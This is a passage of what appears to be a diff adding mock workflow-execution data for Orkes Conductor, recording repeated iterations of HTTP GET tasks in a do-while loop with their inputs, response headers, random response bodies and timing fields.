"orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 59, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__1", + retryCount: 0, + seq: 5, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857007, + startTime: 1713413857108, + endTime: 1713413857122, + updateTime: 1713413857108, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "968171ad-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 101, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__4", + retryCount: 0, + seq: 17, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857705, + startTime: 1713413857770, + endTime: 1713413857805, + updateTime: 1713413857770, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ec1a69-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3964, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qsrrgcyapbgeuoceizaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 65, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__5", + retryCount: 0, + seq: 21, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413857948, + startTime: 1713413858015, + endTime: 1713413858027, + updateTime: 1713413858015, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97112e9d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 698, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "aobgjizxlwgiwdasfclh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 67, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__6", + retryCount: 0, + seq: 25, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413858199, + startTime: 1713413858238, + endTime: 1713413858249, + updateTime: 1713413858238, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97377b51-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2489, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "vbksjctcduvxcucqtykv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 39, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__9", + retryCount: 0, + seq: 37, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413858858, + startTime: 1713413858917, + endTime: 1713413858928, + updateTime: 1713413858917, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979c098d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 59, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_10: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__10", + retryCount: 0, + seq: 42, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413859158, + startTime: 1713413859250, + endTime: 1713413859260, + updateTime: 1713413859250, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97c9d052-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__1", + retryCount: 0, + seq: 6, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857128, + startTime: 1713413857218, + endTime: 1713413857230, + updateTime: 1713413857218, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9693e83e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 90, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__2", + retryCount: 0, + seq: 10, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857348, + startTime: 1713413857439, + endTime: 1713413857451, + updateTime: 1713413857439, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96b5a112-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9295, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "bgnycyjkhkdmiqsnjpcm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 91, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__3", + retryCount: 0, + seq: 14, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857567, + startTime: 1713413857659, + endTime: 1713413857671, + updateTime: 1713413857659, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96d70bc6-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1008, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "drzushsnuxfkfbxjqvfh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__4", + retryCount: 0, + seq: 18, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857810, + startTime: 1713413857904, + endTime: 1713413857915, + updateTime: 1713413857904, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96fc1ffa-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6761, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "taupmlrpyhpzpsulaxqo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__5", + retryCount: 0, + seq: 22, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858034, + startTime: 1713413858126, + endTime: 1713413858139, + updateTime: 1713413858126, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "971e4dfe-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6970, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "igwwnykfobqdnkxmafab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__6", + retryCount: 0, + seq: 26, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858256, + startTime: 1713413858349, + endTime: 1713413858361, + updateTime: 1713413858349, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97402de2-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8930, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "purhjvrqkogxpcyjifxv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__7", + retryCount: 0, + seq: 30, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858478, + startTime: 1713413858571, + endTime: 1713413858583, + updateTime: 1713413858571, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97620dc6-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5965, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "cozkeartchukblaomchw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__8", + retryCount: 0, + seq: 34, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858712, + startTime: 1713413858806, + endTime: 1713413858818, + updateTime: 1713413858806, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9785c26a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 